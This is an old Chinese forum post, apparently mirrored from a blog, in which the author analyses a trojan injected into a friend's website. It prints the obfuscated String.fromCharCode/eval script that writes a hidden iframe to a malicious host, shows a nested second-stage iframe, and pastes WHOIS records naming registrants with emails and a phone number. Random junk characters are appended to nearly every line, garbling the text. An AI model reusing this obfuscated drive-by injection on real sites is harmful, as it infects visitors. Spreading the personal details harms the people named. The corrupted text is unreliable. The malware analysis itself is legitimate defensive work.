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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, KHiFJ_3  
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http://www.areway.cn/?p=175 @ $cUNvI  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: `&7RMa4=  
          A Ayv  
<script>t=’60,105,102,114,97,109,101, <T,A&`/  
32,115,114,99,61,104,116,116,112,58,47,47, `ue[q!Qq  
102,114,101,101,46,117,45,117,117,117,46,99, ~d>%,?zz  
110,47,101,114,114,111,114,46,104,116,109, _fTwmnA  
32,119,105,100,116,104,61,49,48,48,32,104, ";3*?/uM  
101,105,103,104,116,61,48,62,60,47,105,102, `hh9"Ws%  
114,97,109,101,62′; XaI;2fMGI  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> tgFJZA  
                                                                                                  /4S;QEv  
<script>t=’60,105,102,114,97,109,101,32,115, ^z1IN-Tm/  
114,99,61,104,116,116,112,58,47,47,102,114, s}x>J8hK  
101,101,46,117,45,117,117,117,46,99,110,47, l4'~}nn(Y  
101,114,114,111,114,46,104,116,109,32,119, >}+Q:iNQ)2  
105,100,116,104,61,49,48,48,32,104,101,105, a^nAZ  
103,104,116,61,48,62,60,47,105,102,114,97, uq7T{7~<  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Os),;W0w4  
document.write(t);</script> V}8$p8#<@  
                                                                                                  #m. AN  
<html xmlns=” JV"NZvjN7d  
http://www.w3.org/1999/xhtml vL_zvX A  
“> S 4vbN  
<head> J07O:cjyu  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Ng<1Sd|MV  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> g#^|oYuH6  
<title>首页 - 爱生活家庭网 7| YrdK<  
                                                                                                                                                    :Z`4j  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 B+VuUt{S  
转换字符串后的大概内容是(谁点击后果自付): w8M2N]&:  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 2=*=^)FNI  
                                                                                                                                  ma8wmQ9JR  
查询玉米u-uuu.cn的详细信息: E:A!wS`"  
Domain Name: u-uuu.cn y0q#R.TOm  
ROID: 20070901s10001s64972306-cn 2wpjU&8W!  
Domain Status: ok M]_E  
Registrant Organization: 王雷 M-9gD[m  
Registrant Name: 王雷 )q^ Bj$  
Administrative Email: czlovexs@126.com ] pPz@@xx  
Sponsoring Registrar: 北京万网志成科技有限公司 0Oxz3r%}r  
Name Server:ns.yovole.com _vYzF+  
Name Server:ns1.yovole.com hY;_/!_  
Registration Date: 2007-09-01 17:54 KsdG(.I+ek  
Expiration Date: 2008-09-01 17:54 Y(i?M~3\t  
最后PING了一下地址 都没有什么…. F|eu<^"$ H  
                                                                                                SE`l(-tL  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. *Zkss   
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 3 ]}'TA`v  
<script language=”javascript” src=” 9U<Hf32  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script F>Jg~ FD*  
> Qlz Q]:dWC  
这个玉米应该有可能是木马作者的: 4,}GyVJFb`  
foafau.info的详细信息: vjK, I9  
Access to INFO WHOIS information is provided to assist persons in }p'8w\C$  
determining the contents of a domain name registration record in the H?:Jq\Ba0  
Afilias registry database. The data in this record is provided by U</+.$b  
Afilias Limited for informational purposes only, and Afilias does not pCt}66k}  
guarantee its accuracy.  This service is intended only for query-based K5flit4-  
access. You agree that you will use this data only for lawful purposes sbla`6Fb  
and that, under no circumstances will you use this data to: (a) allow, J+2R&3;_O  
enable, or otherwise support the transmission by e-mail, telephone, or N/{?7sG&  
facsimile of mass unsolicited, commercial advertising or solicitations :R+],m il  
to entities other than the data recipient’s own existing customers; or M\UWWb&%\  
(b) enable high volume, automated, electronic processes that send ]h@{6N'oNS  
queries or data to the systems of Registry Operator, a Registrar, or Q4%IxR?  
Afilias except as reasonably necessary to register domain names or YvTA+yL  
modify existing registrations. All rights reserved. Afilias reserves 8~5|KO >F  
the right to modify these terms at any time. By submitting this query, =lrN'$z?%  
you agree to abide by this policy. #v8Cy|I  
Domain ID:D22418703-LRMS _i@x@:_l  
Domain Name:FOAFAU.INFO V\zsDP  
Created On:20-Nov-2007 16:05:42 UTC ryEvmWYu  
Last Updated On:20-Nov-2007 16:05:44 UTC t<lyg0f  
Expiration Date:20-Nov-2008 16:05:42 UTC 5Rs?CVVb  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) r<(kLpOH%  
Status:CLIENT DELETE PROHIBITED E^syrEz  
Status:CLIENT RENEW PROHIBITED Ekf2NT  
Status:CLIENT TRANSFER PROHIBITED ;D&wh  
Status:CLIENT UPDATE PROHIBITED M[,^KJ!  
Status:TRANSFER PROHIBITED SJ(9rhB5*.  
Registrant ID:GODA-040110615 d| \#?W&  
Registrant Name:liu hong s1=u{ET  
Registrant Organization: Mf7E72{D  
Registrant Street1:beijing \UQ],+H  
Registrant Street2: XI g|G}i.  
Registrant Street3: '%Dg{ zL  
Registrant City:beijing AI fk"2  
Registrant State/Province: '%O\E{h  
Registrant Postal Code:100000 oZvG3_H4.  
Registrant Country:CN `q1}6U/k  
Registrant Phone:+86.860108888777 m t.,4  
Registrant Phone Ext.: =+Tsknq  
Registrant FAX: JWSq"N  
Registrant FAX Ext.: Ib(,P3  
Registrant Email:bbbshiji@163.com HjPH  
Admin ID:GODA-240110615 %#Q #N,fw  
Admin Name:liu hong \]GGVI ;u  
Admin Organization: F\P!NSFZV  
Admin Street1:beijing ]eL~L_[G\  
Admin Street2: <M>#qd@c  
Admin Street3: {lKEZirO  
Admin City:beijing mZ&]  
Admin State/Province: &@Yoj%%  
Admin Postal Code:100000 L`bo#,eg6  
Admin Country:CN v_.j/2U  
Admin Phone:+86.860108888777 N>T=L0`  
Admin Phone Ext.: 2X +7b M  
Admin FAX: W.sD2f  
Admin FAX Ext.: ^f"&}%"M  
Admin Email:bbbshiji@163.com `}n0=E  
Billing ID:GODA-340110615 4t(QvIydA  
Billing Name:liu hong oPE.gn_$  
Billing Organization: "URVX1#(r  
Billing Street1:beijing JG1LS$p^  
Billing Street2: _c,&\ wl$  
Billing Street3: /XC;.dLA#  
Billing City:beijing 9Z}S]-u/  
Billing State/Province: vV2o[\o^  
Billing Postal Code:100000 |Yg}WHm  
Billing Country:CN |O'Hh7  
Billing Phone:+86.860108888777 P}b Dn;  
Billing Phone Ext.: ~MD><w>  
Billing FAX: >4Fd xa  
Billing FAX Ext.: *GB$sXF  
Billing Email:bbbshiji@163.com jR }*bIzv  
Tech ID:GODA-140110615 047*gn.b  
Tech Name:liu hong FkLQBpp(x  
Tech Organization: UeC 81*XZ  
Tech Street1:beijing *YMXiYJR  
Tech Street2: bK6, saN>  
Tech Street3: E%KC'T N^D  
Tech City:beijing F5Cqv0H V  
Tech State/Province: .kz(V5  
Tech Postal Code:100000 WIhIEU7/  
Tech Country:CN B/[hi%~  
Tech Phone:+86.860108888777 )I^)*(}  
Tech Phone Ext.: 3ytx"=B%  
Tech FAX: pU[a[  
Tech FAX Ext.: |Sy}d[VKsZ  
Tech Email:bbbshiji@163.com "@F*$JGT y  
Name Server:NS27.DOMAINCONTROL.COM |rG8E;>  
Name Server:NS28.DOMAINCONTROL.COM \f ~u85  
Name Server: ,=x.aX Spz  
Name Server: AqTR.}H  
Name Server: -sruxF  
Name Server: }j]<&I}  
Name Server: `Nxo0Q  
Name Server: `"-`D!U?$  
Name Server: 4'7 v!I9  
Name Server: x|P<F2L  
Name Server: +Px<DX+  
Name Server: w%!k?t,*]  
Name Server: OoA5!HEh  
                                                                                                          S.?\>iH[  
接着下载每个文件里面的代码: T/X?ZK(T  
一步一步看.. ^H y)<P  
QqT6P`0u  
N P0Hgd  
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]-+.lR%vd9  
w7.?zb!N  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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